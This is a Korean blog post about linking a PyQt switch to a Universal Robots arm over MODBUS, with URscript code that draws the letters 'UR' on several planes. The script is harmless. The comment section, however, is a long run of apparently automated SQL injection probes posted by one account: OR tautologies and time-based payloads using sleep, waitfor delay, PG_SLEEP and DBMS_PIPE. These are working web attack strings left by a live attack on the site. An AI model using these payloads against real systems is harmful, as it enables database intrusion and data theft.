pyqt 스위치를 통해 동작하는 드로잉 로봇 프로젝트 프로그래밍
MODBUS 통신으로 URscript 와 pyqt 연동
by DEV2KNG
May 3, 2022, 4:18 a.m.

MODBUS 통신으로 URscript 와 pyqt 를 연동하여 UR 철자를 그리게 해보았습니다.
plain_A = p[0.2, 0, 0, 0, 0, 0]
plain_B = p[0, 0, 0, 0, d2r(45), 0]
plain_C = p[0, 0, 0, 0, 0, d2r(180)]
plain_D = p[0, 0, 0, 0, 0, 0]
write_port_register(129, 4)
def set_xz_position(x_point, z_point): #
x_point = x_point/1000
z_point = z_point/1000
return p[x_point, -0.5, z_point, 0, -2.28, 2.194]
end
U_up = set_xz_position(-150, 450)
U_down = set_xz_position(-150, 375)
U_via = set_xz_position(-130, 350)
U_via_end = set_xz_position(-110, 375)
R_start = set_xz_position(-110, 410)
R_via = set_xz_position(-90, 435)
R_via_end = set_xz_position(-90, 390)
R_end = set_xz_position(-50, 340)
def draw_UR():
movep(U_up)
movel(U_down, a = 1.2, v = 0.2, t = 0, r = 0.01)
movec(U_via, U_via_end, a = 1.2, v = 0.2, r = 0.01, mode = 0)
movep(R_start, a = 1.2, v = 0.5, r = 0.01)
movec(R_via, R_via_end, a = 1.2, v = 0.2, r = 0.01, mode = 0)
movep(R_end, a = 1.2, v = 0.2, r = 0.02)
end
def draw_UR_by_switch():
work_order = read_port_register(129)
if (work_order == 1):
set_plain = plain_A
elif (work_order == 2):
set_plain = plain_B
elif (work_order == 3):
set_plain = plain_C
else:
set_plain = plain_D
end
movej(pose_trans(set_plain, U_up))
movel(pose_trans(set_plain, U_down), a = 1.0, v = 0.25, t = 0, r = 0.01)
movec(pose_trans(set_plain, U_via), pose_trans(set_plain, U_via_end), a = 1.0, v = 0.25, r = 0.01, mode = 0)
movep(pose_trans(set_plain, R_start))
movec(pose_trans(set_plain, R_via), pose_trans(set_plain, R_via_end), a = 1.0, v = 0.25, r = 0.015, mode = 0)
movep(pose_trans(set_plain, R_end))
write_port_register(130, 1)
end
Download: script pose_switch_rzver.script
Leave a Comment:
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1 OR 2+335-335-1=0+0+0+1 --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1 OR 2+614-614-1=0+0+0+1
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1' OR 2+786-786-1=0+0+0+1 --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1' OR 2+291-291-1=0+0+0+1 or 'SejVTraf'='
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1" OR 2+782-782-1=0+0+0+1 --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
*if(now()=sysdate(),sleep(15),0)
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1; waitfor delay '0:0:15' --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1); waitfor delay '0:0:15' --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1 waitfor delay '0:0:15' --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
DtO3fqTc'; waitfor delay '0:0:15' --
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1 OR 263=(SELECT 263 FROM PG_SLEEP(15))--
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1) OR 635=(SELECT 635 FROM PG_SLEEP(15))--
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
-1)) OR 224=(SELECT 224 FROM PG_SLEEP(15))--
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
nWirMF6a' OR 868=(SELECT 868 FROM PG_SLEEP(15))--
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
l0VZmeFN') OR 649=(SELECT 649 FROM PG_SLEEP(15))--
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
ykbfXLo1')) OR 447=(SELECT 447 FROM PG_SLEEP(15))--
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
'"
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
����%2527%2522\'\"
fnfOzvSR Feb. 15, 2025, 4:16 a.m.
@@3yCX7